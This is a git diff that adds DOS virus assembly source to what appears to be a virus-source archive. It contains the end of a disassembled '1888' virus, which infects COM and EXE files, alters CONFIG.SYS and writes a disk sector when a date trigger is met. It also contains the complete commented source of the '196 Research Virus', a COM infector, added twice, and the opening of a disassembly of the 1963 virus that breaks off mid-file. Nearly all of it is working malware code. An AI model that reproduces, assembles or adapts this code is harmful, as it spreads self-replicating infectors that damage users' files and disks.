ax,data_0128 + mov es,ax + mov bx,data_012A + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + pop es + retn +sub_09EE endp + + +; +; SUBROUTINE +; + +sub_0A07 proc near + push ds + mov ah,1Bh + int 21h ; DOS Services ah=function 1Bh + ; get disk info, default drive + ; al=sectors per cluster + ; ds:bx=ptr to media ID byte + ; cx=sector size, dx=clusters + cmp byte ptr [bx],0F8h + pop ds + retn +sub_0A07 endp + + +; +; SUBROUTINE +; + +sub_0A11 proc near + lea si,data_019D ; Load effective addr + mov di,si + xor dl,dl ; Zero register + mov ah,47h ; 'G' + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + ; ds:si=ASCIIZ directory name + mov cx,30h + mov al,0 + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,di + sub cx,si + lea di,data_013A ; ('\DANGER\1888') Load effective addr + mov al,5Ch ; '\' + stosb ; Store al to es:[di] + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_0A11 endp + + +; +; SUBROUTINE +; + +sub_0A32 proc near + mov data_0182,0 + lea bx,cs:[160h] ; Load effective addr + add bx,20h + mov data_0180,bx + sub bx,20h + lea dx,data_015A+4 ; ('*') Load effective addr + mov cx,33h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_0A81 ; Jump if carry Set +loc_0A52: + lea di,data_019D ; Load effective addr + add di,1Eh + cmp byte ptr [di],2Eh ; '.' + je loc_0A7B ; Jump if equal + mov si,di + mov cx,20h + mov al,0 + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,di + sub cx,si + mov di,bx + add bx,cx + cmp bx,data_0180 + ja loc_0A81 ; Jump if above + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + inc data_0182 +loc_0A7B: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_0A52 ; Jump if carry=0 +loc_0A81: + lea bx,cs:[160h] ; Load effective addr + mov data_0180,bx + retn +sub_0A32 endp + + +; +; SUBROUTINE +; + +sub_0A8A proc near + cmp data_0182,0 + je loc_ret_0AAE ; Jump if equal + lea dx,data_013A ; ('\DANGER\1888') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov dx,data_0180 + mov di,dx + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov al,0 + mov cx,20h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov data_0180,di + +loc_ret_0AAE: + retn +sub_0A8A endp + + +; +; SUBROUTINE +; + +sub_0AAF proc near + mov ax,data_0104 + and al,1Fh + cmp al,1Eh + retn +sub_0AAF endp + + +; +; SUBROUTINE +; + +sub_0AB7 proc near + lea dx,data_0194 ; Load effective addr + cmp data_011E,0 + je loc_0AC6 ; Jump if equal + lea dx,data_018E ; Load effective addr +loc_0AC6: + mov cx,23h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + retn +sub_0AB7 endp + + +; +; SUBROUTINE +; + +sub_0ACE proc near + lea si,data_019D ; Load effective addr + add si,15h + lea di,data_0103 ; Load effective addr + mov cx,16h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_0ACE endp + + +; +; SUBROUTINE +; + +sub_0ADF proc near + pushf ; Push flags + mov cx,data_0104 + or cl,1Fh + and cl,0FEh + mov dx,data_0106 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + lea dx,data_010C ; ('1888.COM') Load effective addr + xor ch,ch ; Zero register + mov cl,data_0103 + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + popf ; Pop flags + retn +sub_0ADF endp + + +; +; SUBROUTINE +; + +sub_0B08 proc near + lea dx,data_010C ; ('1888.COM') Load effective addr + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jc loc_ret_0B1C ; Jump if carry Set + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + +loc_ret_0B1C: + retn +sub_0B08 endp + + +; +; SUBROUTINE +; + +sub_0B1D proc near + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + mov cx,100h + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + cmp word ptr ds:d_9E01_0000_e,5A4Dh + nop ;*ASM fixup - sign extn byte + je loc_0B38 ; Jump if equal + stc ; Set carry flag + jmp loc_0BB7 +loc_0B38: + call sub_0BB9 + push ax + mov ax,di + and ax,0Fh + mov cx,10h + xor dx,dx ; Zero register + sub cx,ax + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jnc loc_0B51 ; Jump if carry=0 + jmp short loc_0BB7 + db 90h +loc_0B51: + mov si,ax + mov cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_0BB7 ; Jump if carry Set + pop dx + mov ax,di + add ax,si + add ax,100h + cmp ax,200h + jb loc_0B6D ; Jump if below + and ax,1FFh + inc dx +loc_0B6D: + mov cl,4 + shr ax,cl ; Shift w/zeros fill + dec dx + mov cl,5 + shl dx,cl ; Shift w/zeros fill + sub dx,ds:d_9E01_0008_e + add ax,dx + sub ax,10h + mov ds:d_9E01_0016_e,ax + mov word ptr ds:d_9E01_0014_e,100h + push ds + mov ax,cs + mov ds,ax + mov cx,data_011C + mov dx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop ds + jc loc_0BB7 ; Jump if carry Set + call sub_0BB9 + mov ds:d_9E01_0002_e,di + mov ds:d_9E01_0004_e,ax + mov ax,4200h + xor dx,dx ; Zero register + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_0BB7 ; Jump if carry Set + mov cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_0BB7: + pop ds + retn +sub_0B1D endp + + +; +; SUBROUTINE +; + +sub_0BB9 proc near + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov di,ax + and di,1FFh + mov cl,9 + shr ax,cl ; Shift w/zeros fill + mov cl,7 + shl dx,cl ; Shift w/zeros fill + add ax,dx + inc ax + retn +sub_0BB9 endp + + +; +; SUBROUTINE +; + +sub_0BD4 proc near + mov ax,data_0108 + mov data_0120,ax + mov cx,data_011C + cmp cx,ax + jb loc_0BEA ; Jump if below + mov data_0120,cx + mov cx,data_0108 +loc_0BEA: + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + pop ds + jc loc_ret_0C3F ; Jump if carry Set + mov ax,4200h + xor dx,dx ; Zero register + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_ret_0C3F ; Jump if carry Set + mov dx,100h + mov cx,data_011C + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_ret_0C3F ; Jump if carry Set + cmp ax,data_0108 + ja loc_0C2E ; Jump if above + mov ax,4200h + mov dx,data_0108 + mov data_0120,dx + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_ret_0C3F ; Jump if carry Set + mov cx,data_011C + jmp short loc_0C32 +loc_0C2E: + mov cx,data_0108 +loc_0C32: + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + xor dx,dx ; Zero register + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop ds + +loc_ret_0C3F: + retn +sub_0BD4 endp + + +; +; SUBROUTINE +; + +sub_0C40 proc near + cmp data_011B,2 + ja loc_0C4A ; Jump if above + xor ax,ax ; Zero register + retn +loc_0C4A: + mov al,data_0133 + and al,1 + retn +sub_0C40 endp + + +; +; SUBROUTINE +; + +sub_0C50 proc near + cmp data_0133,0Fh + jb loc_0C69 ; Jump if below + mov al,data_0135 + cmp al,13h + jb loc_0C69 ; Jump if below + mov ax,40h + mov es,ax + mov byte ptr es:d_0040_004A_e,23h ; '#' +loc_0C69: + cmp data_0133,0Dh + jne loc_ret_0C86 ; Jump if not equal + cmp data_0134,5 + jne loc_ret_0C86 ; Jump if not equal + mov ax,301h + mov cx,1 + mov dx,50h + xor bx,bx ; Zero register + mov es,bx + int 13h ; Disk dl=drive ? ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + +loc_ret_0C86: + retn +sub_0C50 endp + + +; +; SUBROUTINE +; + +sub_0C87 proc near + mov data_019B,1 + lea dx,data_05C1 ; Load effective addr + mov cx,27h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jnc loc_0CC6 ; Jump if carry=0 + mov ah,3Ch ; '<' + mov cx,6 + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + mov bx,ax + lea dx,data_05EE ; Load effective addr + mov cx,data_070A + mov si,dx + add si,data_00B3_e + mov ax,data_0130 + mov [si],ax + mov ah,data_0132 + mov [si+2],ah + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jc loc_0D1F ; Jump if carry Set +loc_0CC6: + lea dx,data_05C7 ; ('C:\CONFIG.SYS') Load effective add + mov cx,27h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_0D1F ; Jump if carry Set + call sub_0ACE + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + jc loc_0D1F ; Jump if carry Set + mov cx,data_0108 + push es + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + mov es,ax + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + pop ds + mov dx,ax + mov ax,0FFFFh + xor di,di ; Zero register + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp ax,es:[di-1] + pop es + jz loc_0D1F ; Jump if zero + mov ax,4200h + xor cx,cx ; Zero register + dec dx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_0D1F ; Jump if carry Set + lea dx,data_05D5 ; ('DEVICE =') Load effective addr + mov cx,19h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_0D1F: + call sub_0ADF + retn +sub_0C87 endp + + inc bx + cmp bl,[si-1] + inc word ptr [bx+si] + inc bx + cmp bl,[si+43h] + dec di + dec si + inc si + dec cx + inc di + db 2Eh, 53h, 59h, 53h, 00h + db 'DEVICE =' + db 0FFh,0FFh + db ' COUNTRY.SYS', 0Dh, 0Ah + db 1Ah,0FFh,0FFh,0FFh,0FFh, 40h + db 0C8h, 16h, 00h, 21h, 00h + db 'hgt42 ' + db 00h, 00h, 00h, 00h, 2Eh, 89h + db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h + db 14h, 00h,0CBh, 1Eh, 06h, 0Eh + db 1Fh,0C4h, 3Eh, 12h, 00h, 26h + db 8Ah, 45h, 02h, 3Ch, 00h, 75h + db 03h,0E8h, 82h, 00h + db 0Dh, 00h, 10h, 26h, 89h, 45h + db 03h, 07h, 1Fh,0CBh, 50h, 53h + db 51h, 1Eh + db 0E4h, 60h,0A8h, 80h, 75h, 30h + db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah + db 0C7h, 75h, 27h,0B8h, 40h, 00h + db 8Eh,0D8h,0E8h, 28h, 00h, 25h + db 05h, 00h, 8Bh,0C8h + db 0BBh, 1Ch, 00h + +locloop_0DB1: + mov ax,cs:data_00A9_e + mov [bx],ax + add bx,2 + cmp bx,3Fh + jb loc_0DC2 ; Jump if below + mov bx,1Eh +loc_0DC2: + mov word ptr ds:[1Ch],bx + loop locloop_0DB1 ; Loop if cx > 0 + +loc_0DC8: + pop ds + pop cx + pop bx + pop ax + jmp dword ptr cs:data_00A3_e + +; +; SUBROUTINE +; + +sub_0DD1 proc near + mov ax,cs:data_00A7_e + push ax + and ah,0B4h + pop ax + jp loc_0DDD ; Jump if parity=1 + stc ; Set carry flag +loc_0DDD: + rcl ax,1 ; Rotate thru carry + mov cs:data_00A7_e,ax + retn +sub_0DD1 endp + + db 'hgt42 ' + db 00h, 56h, 31h, 00h, 46h, 52h + db 44h, 00h, 00h, 00h, 00h, 00h + db 00h, 65h, 12h, 65h, 73h, 74h + db 6Eh, 12h, 1Fh, 14h, 31h,0CDh + db 0ABh,0EFh + db 06h, 57h,0B4h, 2Ah,0CDh, 21h + db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h + db 74h, 03h, 80h,0C4h + db 0Ch +loc_0E17: + sub ah,ds:data_00B5_e + cmp ah,3 + jb loc_0E5D ; Jump if below + mov ds:data_00B5_e,dh + mov ds:data_00B3_e,cx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov ds:data_00A7_e,dx + call sub_0DD1 + mov bx,ax + and bx,3 + nop ;*ASM fixup - sign extn byte + mov al,ds:data_00AB_e[bx] + mov ah,ds:data_00AF_e[bx] + mov ds:data_00A9_e,ax + mov ax,3516h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_00A3_e,bx + mov bx,es + mov word ptr ds:data_00A3_e+2,bx + cli ; Disable interrupts +;* mov dx,offset loc_003E ;* + db 0BAh, 3Eh, 00h + mov ax,2516h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + sti ; Enable interrupts +loc_0E5D: + pop di + pop es + mov word ptr es:[di+0Eh],0B6h + mov es:[di+10h],cs + xor ax,ax ; Zero register + retn + db 1Ch + db 01h, 8Bh, 1Eh, 28h, 01h,0A1h + db 26h, 01h, 8Eh,0D0h, 8Bh, 26h + db 24h, 01h, 83h,0ECh, 04h, 8Bh + db 0F4h, 80h, 3Eh, 1Fh, 01h, 00h + db 75h, 28h,0BFh, 00h, 01h, 36h + db 89h, 3Ch, 8Bh,0FBh, 36h, 89h + db 7Ch, 02h, 33h,0FFh, 36h, 89h + db 7Ch, 04h + db 0BFh, 00h, 01h, 8Bh, 36h, 22h + db 01h, 03h,0F7h, 8Bh, 0Eh, 1Ch + db 01h, 8Ch,0D8h, 8Eh,0C0h,0F3h + db 0A4h,0EBh, 16h, 90h +loc_0EAF: + mov di,bx + add di,10h + mov ax,ds:data_0016_e + add di,ax + mov ss:[si+2],di + mov di,word ptr ds:data_0012_e+2 + mov ss:[si],di +loc_0EC4: + mov ds,bx + mov es,bx + retf ; Return far + db 8Ch,0D0h, 2Eh,0A3h, 26h, 01h + db 2Eh, 89h, 26h, 24h, 01h, 8Ch + db 0C8h, 8Eh,0D0h,0BCh,0F7h, 01h + db 1Eh, 8Eh,0D8h, 58h,0A3h, 28h + db 01h,0E8h,0E6h,0FAh, 8Ch,0C8h + db 8Eh,0C0h,0E8h, 6Dh,0FAh + db 0BAh, 9Dh, 01h,0B4h, 1Ah,0CDh + db 21h,0E8h, 1Bh,0FBh,0E8h, 0Eh + db 0FBh, 73h, 03h,0E9h, 9Eh, 00h +loc_0EFE: + call sub_0989 + jc loc_0F06 ; Jump if carry Set + jmp loc_0F9C +loc_0F06: + call sub_099C + call sub_0A32 + mov data_011E,0 +loc_0F11: + call sub_0AB7 + jc loc_0F62 ; Jump if carry Set +loc_0F16: + cmp data_019C,4 + ja loc_0F9C ; Jump if above + call sub_0ACE + call sub_0AAF + jnc loc_0F5C ; Jump if carry=0 + cmp data_010A,4 + ja loc_0F5C ; Jump if above + call sub_0B08 + jc loc_0F9C ; Jump if carry Set + cmp data_011E,0 + je loc_0F3D ; Jump if equal + call sub_0B1D + jmp short loc_0F40 +loc_0F3D: + call sub_0BD4 +loc_0F40: + call sub_0ADF + jc loc_0F9C ; Jump if carry Set + inc data_019C + cmp data_019B,1 + je loc_0F5C ; Jump if equal + call sub_0C40 + jz loc_0F5C ; Jump if zero + call sub_0C87 + jc loc_0F9C ; Jump if carry Set + jmp short loc_0F11 +loc_0F5C: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_0F16 ; Jump if carry=0 +loc_0F62: + cmp data_011E,1 + je loc_0F70 ; Jump if equal + mov data_011E,1 + jmp short loc_0F11 +loc_0F70: + mov data_011E,0 + cmp data_019A,0 + jne loc_0F8B ; Jump if not equal + lea dx,data_015A ; ('C:\') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov data_019A,0FFh + jmp short loc_0F11 +loc_0F8B: + cmp data_0182,0 + je loc_0F9C ; Jump if equal + call sub_0A8A + dec data_0182 + jmp loc_0F11 +loc_0F9C: + lea dx,data_013A ; ('\DANGER\1888') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + call sub_0C40 + jz loc_0FAC ; Jump if zero + call sub_0C50 +loc_0FAC: + mov ax,word ptr data_012C+2 + mov es,ax + mov cx,5Bh + mov si,offset data_070C + xor di,di ; Zero register + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_09EE + call data_012C + +seg_a ends + + + + end start diff --git a/0-9/189.ASM b/0-9/189.ASM new file mode 100755 index 0000000..46177d1 --- /dev/null +++ b/0-9/189.ASM @@ -0,0 +1,152 @@ +;*************************************************************************** +;* * +;* 196 - Research Virus Version 1.01 Date. 11th April 1992. * +;* * +;* Written By : F.Deakin (ACE COMPUTER SYSTEMS) * +;* * +;* Non-Overwriting Version of 97 Virus * +;* * +;*************************************************************************** + +CODE Segment + Assume CS:CODE + +progr equ 100h + + org progr + +virus_size EQU vir_end-vir_start +variable_diff EQU variables_start-next_byte + +highlander: + call vir_start ;call virus + mov ah,4ch ;return to operating system + int 21h ;thru' dos interrupt 21h + +vir_start: + call next_byte ;call next address + +next_byte: + pop ax ;get virus address + pop di ;get program start address + push ax ;save virus address + + pop si ;get address of next_byte + mov ax,variable_diff ;add difference + add si,ax ;get variables address + + mov ax,3 ;move to old address + sub di,ax ;start of .com file + add si,ax ;point to old code + mov ax,[si] ;get two bytes from old code + mov [di],ax ;and place at start of file + inc si ;increment to third byte + inc si ; + inc di ;increment to third address to save + inc di ; + mov al,[si] ;get last byte of old code + mov [di],al ;and place at start of .COM file + mov ax,5 ;five bytes out + sub si,ax ;back to start of variables + + mov di,si ;which is copied to destination + mov ax,6 ;add 6 to variables address + add di,ax ;and save file control block + +;search for first + mov ah,4eh ;search for first + xor cx,cx ;attributes to search + mov dx,di ;point to fcb + int 21h ;call dos + jc return_to_prog ;if no file found return to program + +found_one: + mov ah,2fh ;get DTA address into es:bx + int 21h ;call dos + mov ax,22 ;jump over to time + add bx,ax ;and point to it + mov al,es:[bx] ;and place in ax + and al,00000111b ;get seconds only + cmp al,00h ;zero seconds? + jnz infect_program ;if not infect program + mov ah,4fh ;find next file + int 21h ;call dos + jmp short found_one ;jump back + +infect_program: + mov ax,8 ;jump to asciiz fcb + add ax,bx ;add to bx + mov dx,ax ;and move to dx + mov ax,3d02h ;open file for writing + int 21h ;call dos + jnc continue ;continue if no error + + mov ah,4fh ;search for next + xor cx,cx ;attributes to search + int 21h ;call dos + jc return_to_prog ;if no file found return to program + jmp short found_one ;jump forward if one found + +continue: + mov bx,ax ;transfer file handle to bx + +;read first three bytes + mov ah,3fh ;read file + mov cx,3 ;number of bytes to read + mov dx,3 ;three bytes to old_code + add dx,si ;point to buffer to read + int 21h ;call dos + + mov ax,4202h ;move file pointer to end of file + xor cx,cx ;clear cx + xor dx,dx ;clear dx + int 21h ;call dos + dec ax ;decrement ax + dec ax ; + dec ax ; + dec si ;save address + mov word [si],ax ;and store + + mov ah,40h ;write to file + mov cx,virus_size ;set counter to write + mov dx,offset vir_start ;point to buffer to start + int 21h ;and write to file + + mov ax,4200h ;move file pointer to start of file + xor cx,cx ;clear cx + xor dx,dx ;clear dx + int 21h ;call dos + + mov ah,40h ;write to file + mov cx,3 ;set counter to write + inc si ;point to jump address + mov dx,si ;point to buffer to start + int 21h ;and write to file + + mov ax,5701h ;set date & time + xor cx,cx ;time set to zero + xor dx,dx ;and date + int 21h ;and do it + mov ah,3eh ;close file + int 21h ;thru' dos + +return_to_prog: + mov ah,4ch ;terminate program + int 21h ;exit to dos + +variables_start: +jump_add: + db 0e8h,0,0 +old_code: + db 90h,90h,90h +fcb: + db "*.COM",0 +variables_end: + +vir_end: + +CODE ENDS + + END highlander + + \ No newline at end of file diff --git a/0-9/196.ASM b/0-9/196.ASM new file mode 100755 index 0000000..46177d1 --- /dev/null +++ b/0-9/196.ASM @@ -0,0 +1,152 @@ +;*************************************************************************** +;* * +;* 196 - Research Virus Version 1.01 Date. 11th April 1992. * +;* * +;* Written By : F.Deakin (ACE COMPUTER SYSTEMS) * +;* * +;* Non-Overwriting Version of 97 Virus * +;* * +;*************************************************************************** + +CODE Segment + Assume CS:CODE + +progr equ 100h + + org progr + +virus_size EQU vir_end-vir_start +variable_diff EQU variables_start-next_byte + +highlander: + call vir_start ;call virus + mov ah,4ch ;return to operating system + int 21h ;thru' dos interrupt 21h + +vir_start: + call next_byte ;call next address + +next_byte: + pop ax ;get virus address + pop di ;get program start address + push ax ;save virus address + + pop si ;get address of next_byte + mov ax,variable_diff ;add difference + add si,ax ;get variables address + + mov ax,3 ;move to old address + sub di,ax ;start of .com file + add si,ax ;point to old code + mov ax,[si] ;get two bytes from old code + mov [di],ax ;and place at start of file + inc si ;increment to third byte + inc si ; + inc di ;increment to third address to save + inc di ; + mov al,[si] ;get last byte of old code + mov [di],al ;and place at start of .COM file + mov ax,5 ;five bytes out + sub si,ax ;back to start of variables + + mov di,si ;which is copied to destination + mov ax,6 ;add 6 to variables address + add di,ax ;and save file control block + +;search for first + mov ah,4eh ;search for first + xor cx,cx ;attributes to search + mov dx,di ;point to fcb + int 21h ;call dos + jc return_to_prog ;if no file found return to program + +found_one: + mov ah,2fh ;get DTA address into es:bx + int 21h ;call dos + mov ax,22 ;jump over to time + add bx,ax ;and point to it + mov al,es:[bx] ;and place in ax + and al,00000111b ;get seconds only + cmp al,00h ;zero seconds? + jnz infect_program ;if not infect program + mov ah,4fh ;find next file + int 21h ;call dos + jmp short found_one ;jump back + +infect_program: + mov ax,8 ;jump to asciiz fcb + add ax,bx ;add to bx + mov dx,ax ;and move to dx + mov ax,3d02h ;open file for writing + int 21h ;call dos + jnc continue ;continue if no error + + mov ah,4fh ;search for next + xor cx,cx ;attributes to search + int 21h ;call dos + jc return_to_prog ;if no file found return to program + jmp short found_one ;jump forward if one found + +continue: + mov bx,ax ;transfer file handle to bx + +;read first three bytes + mov ah,3fh ;read file + mov cx,3 ;number of bytes to read + mov dx,3 ;three bytes to old_code + add dx,si ;point to buffer to read + int 21h ;call dos + + mov ax,4202h ;move file pointer to end of file + xor cx,cx ;clear cx + xor dx,dx ;clear dx + int 21h ;call dos + dec ax ;decrement ax + dec ax ; + dec ax ; + dec si ;save address + mov word [si],ax ;and store + + mov ah,40h ;write to file + mov cx,virus_size ;set counter to write + mov dx,offset vir_start ;point to buffer to start + int 21h ;and write to file + + mov ax,4200h ;move file pointer to start of file + xor cx,cx ;clear cx + xor dx,dx ;clear dx + int 21h ;call dos + + mov ah,40h ;write to file + mov cx,3 ;set counter to write + inc si ;point to jump address + mov dx,si ;point to buffer to start + int 21h ;and write to file + + mov ax,5701h ;set date & time + xor cx,cx ;time set to zero + xor dx,dx ;and date + int 21h ;and do it + mov ah,3eh ;close file + int 21h ;thru' dos + +return_to_prog: + mov ah,4ch ;terminate program + int 21h ;exit to dos + +variables_start: +jump_add: + db 0e8h,0,0 +old_code: + db 90h,90h,90h +fcb: + db "*.COM",0 +variables_end: + +vir_end: + +CODE ENDS + + END highlander + + \ No newline at end of file diff --git a/0-9/1963 (8).ASM b/0-9/1963 (8).ASM new file mode 100755 index 0000000..7449bfa --- /dev/null +++ b/0-9/1963 (8).ASM @@ -0,0 +1,1292 @@ + +PAGE 59,132 + +; +; +; 1963 VIRUS +; +; disassembly by +; +; DecimatoR / SKISM +; +; 01/15/92 Compile with TASM 2.0 DW 717-367-3501 +; + +data_1e equ 4 ; (0000:0004=7FBh) +data_2e equ 6 ; (0000:0006=70h) +data_3e equ 4Ch ; (0000:004C=88h) +data_4e equ 84h ; (0000:0084=16h) +data_6e equ 0Ah ; (0046:000A=0) +data_7e equ 16h ; (0046:0016=0) +data_8e equ 2Ch ; (0046:002C=50h) +data_9e equ 8ABh ; (0046:08AB=4146h) +data_10e equ 8ADh ; (0046:08AD=3154h) +data_11e equ 0Ah ; (08D4:000A=2F9h) +data_12e equ 0Ch ; (08D4:000C=3872h) +data_13e equ 100h ; (08D4:0100=0DFh) +data_14e equ 1 ; (4815:0001=0FFFFh) +data_15e equ 100h ; (4816:0100=0FFh) +data_16e equ 1 ; (8343:0001=0FFFFh) +data_17e equ 0Ah ; (8344:000A=0) +data_18e equ 0Eh ; (8344:000E=8344h) +data_49e equ 900h ; (8344:0900=0) +data_50e equ 902h ; (8344:0902=0) +data_51e equ 904h ; (8344:0904=8344h) +data_52e equ 906h ; (8344:0906=0) +data_53e equ 9EFh ; (8344:09EF=0) +data_54e equ 10AFh ; (8344:10AF=0) +data_55e equ 10B1h ; (8344:10B1=0) +data_56e equ 10B3h ; (8344:10B3=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +virus proc far + +start: + mov ah,30h ; '0' + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + cmp al,3 + jb loc_1 ; Jump if below + mov ax,1200h + int 2Fh ; Multiplex/Spooler al=func 00h + ; get installed status + cmp al,0FFh +loc_1: + mov ax,0Bh + jc loc_4 ; Jump if carry Set + mov ah,4Ah ; 'J' + mov bx,140h + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + jc loc_4 ; Jump if carry Set + cli ; Disable interrupts + push cs + pop ss + mov sp,13FEh + call sub_1 ; (01EB) + sti ; Enable interrupts + mov ax,ds:data_8e ; (0046:002C=50h) + or ax,ax ; Zero ? + jz loc_5 ; Jump if zero + call sub_13 ; (07EC) + mov es,ax + xor di,di ; Zero register + xor ax,ax ; Zero register +loc_2: + scasw ; Scan es:[di] for ax + jnz loc_2 ; Jump if not zero + scasw ; Scan es:[di] for ax + mov dx,di + push es + pop ds + mov ah,48h ; 'H' + mov bx,0FFFFh + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov es,ax + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + xor ax,ax ; Zero register + mov cx,bx + mov bx,es + +locloop_3: + push cx + mov cx,8 + xor di,di ; Zero register + rep stosw ; Rep when cx >0 Store ax to es:[di] + inc bx + mov es,bx + pop cx + loop locloop_3 ; Loop if cx > 0 + + push cs + pop es + mov bx,data_51e ; (8344:0904=44h) + mov di,bx + stosw ; Store ax to es:[di] + mov al,80h + stosw ; Store ax to es:[di] + mov ax,cs + stosw ; Store ax to es:[di] + mov ax,5Ch + stosw ; Store ax to es:[di] + mov ax,cs + stosw ; Store ax to es:[di] + mov ax,6Ch + stosw ; Store ax to es:[di] + mov ax,cs + stosw ; Store ax to es:[di] + mov ax,4B00h + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx +loc_4: + push cs + pop ds + call sub_13 ; (07EC) + jmp dword ptr cs:data_17e ; (8344:000A=0) +loc_5: + mov ax,1220h + mov bx,5 + int 2Fh ; ??INT Non-standard interrupt. + push bx + dec bx + dec bx + mov es:[di],bl + mov ax,1216h + int 2Fh ; ??INT Non-standard interrupt. + dec bx + dec bx + mov es:[di],bx + mov ah,48h ; 'H' + mov bx,0FFFFh + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ds,ax + pop bx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,3Fh ; '?' + mov dx,data_15e ; 